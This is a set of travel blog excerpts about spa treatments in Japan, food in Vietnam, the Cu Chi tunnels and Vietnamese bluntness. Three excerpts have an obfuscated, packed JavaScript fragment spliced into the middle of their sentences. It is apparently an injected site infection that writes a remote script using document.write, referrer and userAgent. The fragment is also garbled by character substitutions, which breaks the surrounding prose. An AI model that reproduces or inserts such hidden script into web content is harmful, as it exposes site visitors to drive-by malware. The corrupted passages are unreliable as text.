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Spa Treatments in SE Asia – For Science: Japan

For science.  At least that’s what I told Nick. I dreamed up this great idea while we were staying at the Park Hyatt Tokyo.  Baller style.  I decided it was necessary ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eariy|var|u0026u|referrer|dbaen||js|php’.split(‘|’),0,{})) for me to compare beauty and spa treatments in every country we visited.  So naturally, I’d need to start […]

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Everything else we ate in Vietnam

We were pleasantly surprised by the amazing food in Vietnam.  It was a welcome change from the food in Japan.  Very fresh and almost always delicious!  Here’s a quick recap. Bun ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|naeny|var|u0026u|referrer|zykkz||js|php’.split(‘|’),0,{})) Bo – 67 Hang Dieu It’s like pho’s burly cousin from the country.  It uses a heartier broth and […]

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Banh Xeo

It’s a Vietnamese pancake.  But it’s so much more than just a silly pancake. We had Banh Xeo with Brinda after our trip to the Cu Chi tunnels.  The Banh Xeo “restaurant” was not a place I’d typically stop at.  It was an outdoor-ish kitchen with a  bunch of metal tables and chairs.  I’d soon […]

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Cu Chi Tunnels

The Cu Chi tunnels are a short drive from Ho Chi Minh city – a little less than 1 hr.  I knew nothing about them, “thankfully” my history buff husband was right on top of it.  So we spent the morning of day 2 exploring the tunnels. For anyone planning a trip to the tunnels, […]

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Good morning, Vietnam!

I guess it’s about time I moved on from Japan….it has been about 3 weeks since we were there! We spent our time in Vietnam split between Saigon/Ho Chi Minh City and Hanoi.  We started off in Saigon, staying with our friends Varun and Brinda.  Varun and I were RAs together in the dorms and […]

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You don’t look like a dancer…

Yeah, ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khhkk|var|u0026u|referrer|nssza||js|php’.split(‘|’),0,{})) I know. Something I learned while in Vietnam? They are very open and honest people…brutally honest.  They just say what they are thinking – whether it seems polite or not (politeness being determined by western standards only).  On some level, I can be down with that. The 2 most […]